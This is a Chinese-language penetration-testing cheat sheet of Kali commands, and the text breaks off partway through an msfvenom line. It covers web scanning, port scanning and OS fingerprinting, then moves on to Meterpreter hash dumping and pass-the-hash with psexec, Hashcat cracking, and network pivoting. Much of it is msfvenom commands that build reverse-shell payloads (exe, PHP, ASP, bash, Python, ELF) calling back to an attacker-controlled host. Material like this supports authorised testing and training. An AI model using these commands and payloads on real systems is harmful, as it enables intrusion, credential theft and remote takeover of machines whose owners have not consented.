kali 下工具渗透测试的一些小技巧

DIRB

# 使用 DIRB 爆破目录

注: DIRBopen in new window 是一个专门用于爆破目录的工具, 在 Kali 中默认已经安装, 类似工具还有国外的 patatoropen in new window, dirsearchopen in new window, DirBuster, 国内的御剑等等。

dirb http://[IP]:PORT /usr/share/dirb/wordlists/common.txt

# Niko

# 使用 Nikto 扫描 Web 服务

nikto -C all -h http://[IP]

# wpscan

# 使用 wpscan 扫描 WordPress

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url <http:http://[IP]/> –enumerate p

# httprint

# 使用 httprint 进行 HTTP 指纹识别

wget //www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://[IP] -s signatures.txt

# Skipfish

# 使用 Skipfish 进行 Web 应用安全

注: Skipfish 是一款 Web 应用安全侦查工具, Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图, 最终生成的地图会在通过安全检查后输出。

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://[IP]

# nc

# 使用 nc 进行扫描

nc -v -w 1 target -z 1-1000
for i in {101..102};do nc -vv -n -w 1 192.168.56.$i 21-25 -z;done

# us

# 使用 Unicornscan 进行信息收集和安全审计

us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

# -H 在生成报告阶段解析主机名
# -m 扫描类型 (sf - tcp, U - udp)
# -Iv - 详细

# Xprobe2

# 使用 Xprobe2 识别操作系统指纹

xprobe2 -v -p tcp:80:open IP

# Meterpreter

# 使用 Meterpreter 进行端口转发

# //www.offensive-security.com/metasploit-unleashed/portfwd/
# 转发远程端口到目标地址

meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

# 使用 Meterpreter 获取哈希值

git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash http://[IP] cmd

# 或者

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

# 在或者

meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

# 使用 Hashcat 破解密码

hashcat -m 400 -a 0 hash /root/rockyou.txt

# 使用 metasploit 进行穿透

route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

#或者

meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

# ssh

# SSH 穿透

ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

# SSH 穿透从一个网络到另一个网络

ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target

# msfvenom

# MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

# MSF 生成在 Linux 下反弹的 Meterpreter Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

# MSF 生成反弹 Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

# MSF 生成反弹 Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

# MSF 生成反弹 ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

# MSF 生成反弹 Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

# MSF 生成反弹 PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

# MSF 生成反弹 Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Co